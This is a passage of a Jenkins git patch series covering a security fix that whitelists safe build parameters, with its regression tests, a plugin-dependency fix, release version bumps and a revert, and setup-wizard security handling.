@param additionalSafeParameters additional safe parameters + * @since TODO + */ + public ParametersAction(List parameters, Collection additionalSafeParameters) { + this(parameters); + if (additionalSafeParameters != null) { + safeParameters.addAll(additionalSafeParameters); + } } public ParametersAction(ParameterValue... parameters) { @@ -202,7 +226,9 @@ public class ParametersAction implements RunAction2, Iterable, Q @Nonnull public ParametersAction createUpdated(Collection overrides) { if(overrides == null) { - return new ParametersAction(parameters); + ParametersAction parametersAction = new ParametersAction(parameters); + parametersAction.safeParameters = this.safeParameters; + return parametersAction; } List combinedParameters = newArrayList(overrides); Set names = newHashSet(); @@ -219,7 +245,7 @@ public class ParametersAction implements RunAction2, Iterable, Q } } - return new ParametersAction(combinedParameters); + return new ParametersAction(combinedParameters, this.safeParameters); } /* @@ -230,14 +256,27 @@ public class ParametersAction implements RunAction2, Iterable, Q @Nonnull public ParametersAction merge(@CheckForNull ParametersAction overrides) { if (overrides == null) { - return new ParametersAction(parameters); + ParametersAction parametersAction = new ParametersAction(parameters, this.safeParameters); + return parametersAction; } - return createUpdated(overrides.parameters); + ParametersAction parametersAction = createUpdated(overrides.parameters); + Set safe = new TreeSet<>(); + if (parametersAction.safeParameters != null && this.safeParameters != null) { + safe.addAll(this.safeParameters); + } + if (overrides.safeParameters != null) { + safe.addAll(overrides.safeParameters); + } + parametersAction.safeParameters = safe; + return parametersAction; } private Object readResolve() { if (build != null) OldDataMonitor.report(build, "1.283"); + if (safeParameters == null) { + safeParameters = Collections.emptySet(); + } return this; } @@ -301,14 +340,6 @@ public class ParametersAction implements RunAction2, Iterable, Q } private boolean isSafeParameter(String name) { - if (safeParameters == null) { - String paramNames = System.getProperty(SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); - if (paramNames != null) { - safeParameters = Arrays.asList(paramNames.split(",")); - } else { - safeParameters = Collections.emptyList(); - } - } return safeParameters.contains(name); } diff --git a/test/src/test/java/hudson/model/ParametersActionTest2.java b/test/src/test/java/hudson/model/ParametersActionTest2.java index df8590e48f..10e4a2af39 100644 --- a/test/src/test/java/hudson/model/ParametersActionTest2.java +++ b/test/src/test/java/hudson/model/ParametersActionTest2.java @@ -10,6 +10,7 @@ import org.jvnet.hudson.test.recipes.LocalData; import java.io.IOException; import java.util.Arrays; +import java.util.Collection; import static org.junit.Assert.assertEquals; import static org.junit.Assert.assertFalse; @@ -149,6 +150,100 @@ public class ParametersActionTest2 { } } + @Test + @Issue("SECURITY-170") + public void whitelistedParameterByOverride() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + String name = p.getFullName(); + p.addProperty(new ParametersDefinitionProperty(Arrays.asList( + new StringParameterDefinition("foo", "foo"), + new StringParameterDefinition("bar", "bar")))); + + try { + ParametersAction action = new ParametersAction( + Arrays.asList( + new StringParameterValue("foo", "baz"), + new StringParameterValue("bar", "bar"), + new StringParameterValue("whitelisted1", "x"), + new StringParameterValue("whitelisted2", "y"), + new StringParameterValue("whitelisted3", "y") + ), + Arrays.asList("whitelisted1", "whitelisted2")); + FreeStyleBuild build = j.assertBuildStatusSuccess(p.scheduleBuild2(0, new Cause.UserIdCause(), action)); + + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + p = null; + build = null; + j.jenkins.reload(); + //Test again after reload + p = j.jenkins.getItemByFullName(name, FreeStyleProject.class); + build = p.getLastBuild(); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + } finally { + System.clearProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + } + } + + @Test + @Issue("SECURITY-170") + public void whitelistedParameterSameAfterChange() throws Exception { + FreeStyleProject p = j.createFreeStyleProject(); + String name = p.getFullName(); + p.addProperty(new ParametersDefinitionProperty(Arrays.asList( + new StringParameterDefinition("foo", "foo"), + new StringParameterDefinition("bar", "bar")))); + + try { + System.setProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME, "whitelisted1,whitelisted2"); + FreeStyleBuild build = j.assertBuildStatusSuccess(p.scheduleBuild2(0, new Cause.UserIdCause(), new ParametersAction( + new StringParameterValue("foo", "baz"), + new StringParameterValue("bar", "bar"), + new StringParameterValue("whitelisted1", "x"), + new StringParameterValue("whitelisted2", "y"), + new StringParameterValue("whitelisted3", "z"), + new StringParameterValue("whitelisted4", "w") + ))); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + assertFalse("whitelisted4 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted4")); + + System.setProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME, "whitelisted3,whitelisted4"); + p = null; + build = null; + j.jenkins.reload(); + p = j.jenkins.getItemByFullName(name, FreeStyleProject.class); + build = p.getLastBuild(); + assertTrue("whitelisted1 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted1")); + assertTrue("whitelisted2 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted2")); + assertFalse("whitelisted3 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted3")); + assertFalse("whitelisted4 parameter is listed in getParameters", + hasParameterWithName(build.getAction(ParametersAction.class), "whitelisted4")); + + } finally { + System.clearProperty(ParametersAction.SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME); + } + } + + + @Test @Issue("SECURITY-170") public void nonParameterizedJob() throws Exception { @@ -194,6 +289,7 @@ public class ParametersActionTest2 { return false; } + public static class ParametersCheckBuilder extends Builder { private final boolean expectLegacyBehavior; -- GitLab From 1c416b89edf733962147b2eb45a4ce8824dc454e Mon Sep 17 00:00:00 2001 From: Felix Belzunce Arcos Date: Wed, 6 Apr 2016 15:36:29 +0200 Subject: [PATCH 019/712] [JENKINS-32340] Enable disabled dependencies (cherry picked from commit 28335690e0b2535cdd76cc778ffdc45a5c4f67ac) --- core/src/main/java/hudson/PluginWrapper.java | 3 ++- core/src/main/resources/hudson/PluginManager/_table.js | 6 ++++++ .../src/main/resources/hudson/PluginManager/installed.jelly | 2 +- war/src/main/webapp/css/style.css | 6 ++++++ 4 files changed, 15 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 8fcd7b9b04..7b4acb8403 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -531,7 +531,8 @@ public class PluginWrapper implements Comparable, ModelObject { List missingDependencies = new ArrayList(); // make sure dependencies exist for (Dependency d : dependencies) { - if (parent.getPlugin(d.shortName) == null) + PluginWrapper dependency = parent.getPlugin(d.shortName); + if (dependency == null || !dependency.isActive()) { missingDependencies.add(d.toString()); } if (!missingDependencies.isEmpty()) diff --git a/core/src/main/resources/hudson/PluginManager/_table.js b/core/src/main/resources/hudson/PluginManager/_table.js index f7b8141069..374af9c99a 100644 --- a/core/src/main/resources/hudson/PluginManager/_table.js +++ b/core/src/main/resources/hudson/PluginManager/_table.js @@ -173,6 +173,12 @@ Behaviour.specify("#filter-box", '_table', 0, function(e) { function setEnableWidgetStates() { for (var i = 0; i < pluginTRs.length; i++) { + var pluginMetadata = pluginTRs[i].jenkinsPluginMetadata; + if (pluginTRs[i].hasClassName('has-dependants-but-disabled')) { + if (pluginMetadata.enableInput.checked) { + pluginTRs[i].removeClassName('has-dependants-but-disabled'); + } + } markAllDependantsDisabled(pluginTRs[i]); markHasDisabledDependencies(pluginTRs[i]); } diff --git a/core/src/main/resources/hudson/PluginManager/installed.jelly b/core/src/main/resources/hudson/PluginManager/installed.jelly index 35b2947153..22ff5f7419 100644 --- a/core/src/main/resources/hudson/PluginManager/installed.jelly +++ b/core/src/main/resources/hudson/PluginManager/installed.jelly @@ -68,7 +68,7 @@ THE SOFTWARE. ${%Uninstall} - + Date: Wed, 25 May 2016 15:18:47 +0200 Subject: [PATCH 020/712] Fixup cherrypick --- core/src/main/java/hudson/PluginWrapper.java | 1 + 1 file changed, 1 insertion(+) diff --git a/core/src/main/java/hudson/PluginWrapper.java b/core/src/main/java/hudson/PluginWrapper.java index 7b4acb8403..6fc2b53c49 100644 --- a/core/src/main/java/hudson/PluginWrapper.java +++ b/core/src/main/java/hudson/PluginWrapper.java @@ -534,6 +534,7 @@ public class PluginWrapper implements Comparable, ModelObject { PluginWrapper dependency = parent.getPlugin(d.shortName); if (dependency == null || !dependency.isActive()) { missingDependencies.add(d.toString()); + } } if (!missingDependencies.isEmpty()) throw new IOException("Dependency "+Util.join(missingDependencies, ", ")+" doesn't exist"); -- GitLab From 1290c72c7c1739d5ce0cc686a33d3f31fa79c7a0 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 26 May 2016 14:03:26 +0200 Subject: [PATCH 021/712] [ogondza mimicking maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 8 ++++---- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 8 insertions(+), 8 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f12d56cfb9..a16661f4a4 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 2e5a2b18f2..8b6c4f8cfe 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index e6404ea82b..9838a7bf1d 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.2 + HEAD @@ -158,7 +158,7 @@ THE SOFTWARE. mockito-core 1.10.19 - + org.powermock powermock-module-junit4 @@ -630,7 +630,7 @@ THE SOFTWARE. 1.${java.level} 1.${java.level} - diff --git a/test/pom.xml b/test/pom.xml index ce21cadead..d62c6e4280 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index f23dad62f0..fde804f11e 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.2 + 1.651.3-SNAPSHOT jenkins-war -- GitLab From 673e8b5e7930a90786c74ac1fecfb6b010953775 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 15:50:26 +0200 Subject: [PATCH 022/712] Towards 2.7.1 --- cli/pom.xml | 2 +- core/pom.xml | 6 +++--- pom.xml | 10 +++++----- test/pom.xml | 6 +++--- war/pom.xml | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 884801d36d..94f23f9379 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 01c89361b0..72a0b342b4 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-core @@ -113,7 +113,7 @@ THE SOFTWARE. org.jenkins-ci trilead-ssh2 - build217-jenkins-8 + build2.7.1-SNAPSHOT-jenkins-8 org.kohsuke.stapler @@ -215,7 +215,7 @@ THE SOFTWARE. antlr antlr - 2.7.6 + 2.7.1-SNAPSHOT.6 org.jvnet.hudson diff --git a/pom.xml b/pom.xml index d669360c5a..d946acb01b 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.7 + HEAD @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.7.1 + 2.7.1-SNAPSHOT.1 1.4.1 0.11 ${skipTests} @@ -338,7 +338,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-deploy-plugin - 2.7 + 2.7.1-SNAPSHOT org.apache.maven.plugins @@ -504,7 +504,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-pmd-plugin - 2.7.1 + 2.7.1-SNAPSHOT.1 diff --git a/test/pom.xml b/test/pom.xml index 063b70832a..c0da540fd8 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT test @@ -62,7 +62,7 @@ THE SOFTWARE. ${project.groupId} jenkins-test-harness - 2.7 + 2.7.1-SNAPSHOT test @@ -145,7 +145,7 @@ THE SOFTWARE. xalan xalan - 2.7.1 + 2.7.1-SNAPSHOT.1 xml-apis diff --git a/war/pom.xml b/war/pom.xml index e0b996e54f..b11d3b9e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-war -- GitLab From 5919a14640425921c2b9384866bc7d2abcd006d5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 16:18:09 +0200 Subject: [PATCH 023/712] Revert "Towards 2.7.1" This reverts commit 673e8b5e7930a90786c74ac1fecfb6b010953775. --- cli/pom.xml | 2 +- core/pom.xml | 6 +++--- pom.xml | 10 +++++----- test/pom.xml | 6 +++--- war/pom.xml | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 94f23f9379..884801d36d 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 cli diff --git a/core/pom.xml b/core/pom.xml index 72a0b342b4..01c89361b0 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 jenkins-core @@ -113,7 +113,7 @@ THE SOFTWARE. org.jenkins-ci trilead-ssh2 - build2.7.1-SNAPSHOT-jenkins-8 + build217-jenkins-8 org.kohsuke.stapler @@ -215,7 +215,7 @@ THE SOFTWARE. antlr antlr - 2.7.1-SNAPSHOT.6 + 2.7.6 org.jvnet.hudson diff --git a/pom.xml b/pom.xml index d946acb01b..d669360c5a 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.7 @@ -92,7 +92,7 @@ THE SOFTWARE. jenkins-jira 1.7.7 - 2.7.1-SNAPSHOT.1 + 2.7.1 1.4.1 0.11 ${skipTests} @@ -338,7 +338,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-deploy-plugin - 2.7.1-SNAPSHOT + 2.7 org.apache.maven.plugins @@ -504,7 +504,7 @@ THE SOFTWARE. org.apache.maven.plugins maven-pmd-plugin - 2.7.1-SNAPSHOT.1 + 2.7.1 diff --git a/test/pom.xml b/test/pom.xml index c0da540fd8..063b70832a 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 test @@ -62,7 +62,7 @@ THE SOFTWARE. ${project.groupId} jenkins-test-harness - 2.7.1-SNAPSHOT + 2.7 test @@ -145,7 +145,7 @@ THE SOFTWARE. xalan xalan - 2.7.1-SNAPSHOT.1 + 2.7.1 xml-apis diff --git a/war/pom.xml b/war/pom.xml index b11d3b9e99..e0b996e54f 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7.1-SNAPSHOT + 2.7 jenkins-war -- GitLab From 621c23ae412b17c3aeb00f9e59c0ef6099889401 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Oliver=20Gond=C5=BEa?= Date: Thu, 9 Jun 2016 16:20:30 +0200 Subject: [PATCH 024/712] Towards 2.7.1 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 884801d36d..94f23f9379 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 01c89361b0..3adadae138 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index d669360c5a..55847c2cc6 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.7 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 063b70832a..592a1dd1e3 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index e0b996e54f..b11d3b9e99 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.7 + 2.7.1-SNAPSHOT jenkins-war -- GitLab From e257db1b450fcb63ece4ddea44ce5ddb5bc33680 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 13 Jun 2016 23:13:08 -0700 Subject: [PATCH 025/712] [maven-release-plugin] prepare release jenkins-1.651.3 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index a16661f4a4..fcfdd999e2 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 cli diff --git a/core/pom.xml b/core/pom.xml index 8b6c4f8cfe..6562c32b63 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 jenkins-core diff --git a/pom.xml b/pom.xml index 9838a7bf1d..6e0b2e7d27 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-1.651.3 diff --git a/test/pom.xml b/test/pom.xml index d62c6e4280..9a4ab63316 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 test diff --git a/war/pom.xml b/war/pom.xml index fde804f11e..c90c56d843 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3-SNAPSHOT + 1.651.3 jenkins-war -- GitLab From bb14f1a29e6682fb253253c61ee34353483a9df7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 13 Jun 2016 23:13:08 -0700 Subject: [PATCH 026/712] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index fcfdd999e2..78f1f3d39b 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 6562c32b63..2aaeec19a9 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 6e0b2e7d27..dd4b1408e5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-1.651.3 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 9a4ab63316..4f26cbc9bb 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index c90c56d843..e888028489 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 1.651.3 + 1.651.4-SNAPSHOT jenkins-war -- GitLab From 1fef3f4b73dcd01d44bfc5275c5e2bfa963a74ae Mon Sep 17 00:00:00 2001 From: Keith Zantow Date: Thu, 2 Jun 2016 13:53:43 -0400 Subject: [PATCH 027/712] [FIXED JENKINS-34881] - Handle pre-configured security settings for new installs (#2364) * [FIXED JENKINS-34881] - handle non-default security settings for new installs * Ensure permissions * Initial security authentication token should still follow redirects (cherry picked from commit 723dfca37bcf3fecd33c75eaca01ce0d07014d70) --- core/src/main/java/hudson/PluginManager.java | 11 +++++- .../java/jenkins/install/InstallState.java | 11 +++++- .../java/jenkins/install/InstallUtil.java | 31 +-------------- .../java/jenkins/install/SetupWizard.java | 39 +++++++++++++++++-- .../authenticate-security-token.jelly | 1 + 5 files changed, 57 insertions(+), 36 deletions(-) diff --git a/core/src/main/java/hudson/PluginManager.java b/core/src/main/java/hudson/PluginManager.java index 03b5a8383e..1ee23f30dd 100644 --- a/core/src/main/java/hudson/PluginManager.java +++ b/core/src/main/java/hudson/PluginManager.java @@ -40,6 +40,7 @@ import hudson.model.UpdateCenter; import hudson.model.UpdateSite; import hudson.model.UpdateCenter.DownloadJob; import hudson.model.UpdateCenter.InstallationJob; +import hudson.security.ACL; import hudson.security.Permission; import hudson.security.PermissionScope; import hudson.util.CyclicGraphDetector; @@ -61,6 +62,8 @@ import jenkins.util.xml.RestrictiveEntityResolver; import net.sf.json.JSONArray; import net.sf.json.JSONObject; + +import org.acegisecurity.Authentication; import org.apache.commons.fileupload.FileItem; import org.apache.commons.fileupload.disk.DiskFileItemFactory; import org.apache.commons.fileupload.servlet.ServletFileUpload; @@ -1319,6 +1322,7 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas private void trackInitialPluginInstall(@Nonnull final List> installJobs) { final Jenkins jenkins = Jenkins.getInstance(); final UpdateCenter updateCenter = jenkins.getUpdateCenter(); + final Authentication currentAuth = Jenkins.getAuthentication(); if (!Jenkins.getInstance().getInstallState().isSetupComplete()) { jenkins.setInstallState(InstallState.INITIAL_PLUGINS_INSTALLING); @@ -1348,7 +1352,12 @@ public abstract class PluginManager extends AbstractModelObject implements OnMas } updateCenter.persistInstallStatus(); if(!failures) { - InstallUtil.proceedToNextStateFrom(InstallState.INITIAL_PLUGINS_INSTALLING); + ACL.impersonate(currentAuth, new Runnable() { + @Override + public void run() { + InstallUtil.proceedToNextStateFrom(InstallState.INITIAL_PLUGINS_INSTALLING); + } + }); } } }.start(); diff --git a/core/src/main/java/jenkins/install/InstallState.java b/core/src/main/java/jenkins/install/InstallState.java index 27da766c28..7226c27df8 100644 --- a/core/src/main/java/jenkins/install/InstallState.java +++ b/core/src/main/java/jenkins/install/InstallState.java @@ -75,7 +75,16 @@ public class InstallState implements ExtensionPoint { * Creating an admin user for an initial Jenkins install. */ @Extension - public static final InstallState CREATE_ADMIN_USER = new InstallState("CREATE_ADMIN_USER", false); + public static final InstallState CREATE_ADMIN_USER = new InstallState("CREATE_ADMIN_USER", false) { + public void initializeState() { + Jenkins j = Jenkins.getInstance(); + // Skip this state if not using the security defaults + // e.g. in an init script set up security already + if (!j.getSetupWizard().isUsingSecurityDefaults()) { + InstallUtil.proceedToNextStateFrom(this); + } + } + }; /** * New Jenkins install. The user has kicked off the process of installing an diff --git a/core/src/main/java/jenkins/install/InstallUtil.java b/core/src/main/java/jenkins/install/InstallUtil.java index d611ba0b41..4914bfbf4b 100644 --- a/core/src/main/java/jenkins/install/InstallUtil.java +++ b/core/src/main/java/jenkins/install/InstallUtil.java @@ -50,11 +50,6 @@ import hudson.Functions; import hudson.Main; import hudson.model.UpdateCenter.DownloadJob.InstallationStatus; import hudson.model.UpdateCenter.DownloadJob.Installing; -import hudson.security.AuthorizationStrategy; -import hudson.security.FullControlOnceLoggedInAuthorizationStrategy; -import hudson.security.HudsonPrivateSecurityRealm; -import hudson.security.SecurityRealm; -import hudson.security.csrf.DefaultCrumbIssuer; import hudson.model.UpdateCenter.InstallationJob; import hudson.model.UpdateCenter.UpdateCenterJob; import hudson.util.VersionNumber; @@ -193,7 +188,7 @@ public class InstallUtil { // Edge case: used Jenkins 1 but did not save the system config page, // the version is not persisted and returns 1.0, so try to check if // they actually did anything - if (!j.getItemMap().isEmpty() || !mayBeJenkins2SecurityDefaults(j) || !j.getNodes().isEmpty()) { + if (!j.getItemMap().isEmpty() || !j.getNodes().isEmpty()) { return InstallState.UPGRADE; } @@ -213,30 +208,6 @@ public class InstallUtil { } } - /** - * This could be an upgrade, detect a non-default security realm for the stupid case - * where someone installed 1.x and did not save global config or create any items... - */ - private static boolean mayBeJenkins2SecurityDefaults(Jenkins j) { - // may be called before security set up first - if(j.getSecurityRealm() == SecurityRealm.NO_AUTHENTICATION && !(j.getCrumbIssuer() instanceof DefaultCrumbIssuer)) { - return true; - } - if(j.getSecurityRealm() instanceof HudsonPrivateSecurityRealm) { // might be called after a restart, setup isn't complete - HudsonPrivateSecurityRealm securityRealm = (HudsonPrivateSecurityRealm)j.getSecurityRealm(); - if(securityRealm.getAllUsers().size() == 1 && securityRealm.getUser(SetupWizard.initialSetupAdminUserName) != null) { - AuthorizationStrategy authStrategy = j.getAuthorizationStrategy(); - if(authStrategy instanceof FullControlOnceLoggedInAuthorizationStrategy) { - // must have been using 2.0+ to set this, as it wasn't present in 1.x and the default is true, to _allow_ anon read - if(!((FullControlOnceLoggedInAuthorizationStrategy)authStrategy).isAllowAnonymousRead()) { - return true; - } - } - } - } - return false; - } - /** * Save the current Jenkins instance version as the last executed version. *

